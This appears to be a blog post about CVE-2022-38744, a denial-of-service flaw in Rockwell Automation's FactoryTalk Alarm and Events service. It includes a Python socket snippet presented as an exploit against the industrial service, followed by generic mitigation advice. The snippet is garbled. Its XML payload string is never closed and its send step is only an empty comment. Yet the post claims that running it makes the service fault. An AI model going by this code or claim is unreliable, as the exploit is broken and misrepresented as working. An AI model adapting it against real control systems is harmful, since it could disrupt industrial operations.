The recently discovered vulnerability, CVE-2022-38744, identified in Rockwell Automation's FactoryTalk Alarm and Events service, allows unauthenticated attackers to gain network access to a victim's system, leading to service faults and unavailability. This post will elaborate on the exploit details, provide a code snippet for understanding the vulnerability better, and share original references for further research.

Exploit Details

The affected port in Rockwell Automation's FactoryTalk Alarm and Events service functions as a server ping port and utilizes messages structured with XML. An unauthenticated attacker could establish a connection with this port to cause the service to fault and render it unavailable. The vulnerability poses a significant threat to the security and integrity of the system in use, potentially leading to widespread disruption in automated industrial settings.

The following code snippet demonstrates how an attacker might exploit this vulnerability

import socket

TARGET_IP = ''  # Replace with the victim's IP address
TARGET_PORT = 44818  # FactoryTalk Alarm and Events service port

# XML structured message to trigger the vulnerability
exploit_payload = '''<Alarm xmlns="">;
                     <Message>System Fault</Message>

# Establishing a connection to the victim's system
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((TARGET_IP, TARGET_PORT))

# Sending the payload to trigger the vulnerability

# Closing the connection

By running this code snippet, an attacker successfully plants the payload into the system and triggers the vulnerability, causing the FactoryTalk Alarm and Events service to fault and become unavailable.

Original References

1. CVE Details: CVE-2022-38744
2. Rockwell Security Advisory: Rockwell Automation FactoryTalk Alarm and Events Service


Rockwell Automation has acknowledged the issue and is working to provide a patch for the vulnerability. While awaiting the release of the patch, it is imperative to monitor network traffic for any unusual activity, isolate affected systems as needed, and report any suspicious events to the appropriate security personnel.

Furthermore, given the potential detrimental impacts of this vulnerability, it is essential to prioritize the security and integrity of the network infrastructure. Implementing robust security measures to protect against unauthenticated access and following best practices can significantly aid in mitigating the risks associated with CVE-2022-38744.


The discovery of the CVE-2022-38744 vulnerability within Rockwell Automation's FactoryTalk Alarm and Events service highlights the importance of continuous vigilance in network security. By understanding the exploit and taking appropriate action, organizations can work to defend against potential attacks exploiting this vulnerability. As always, it is crucial to stay updated on the latest security advisories and patches to reduce overall risks to your infrastructure.


Published on: 10/27/2022 14:15:00 UTC
Last modified on: 10/31/2022 13:21:00 UTC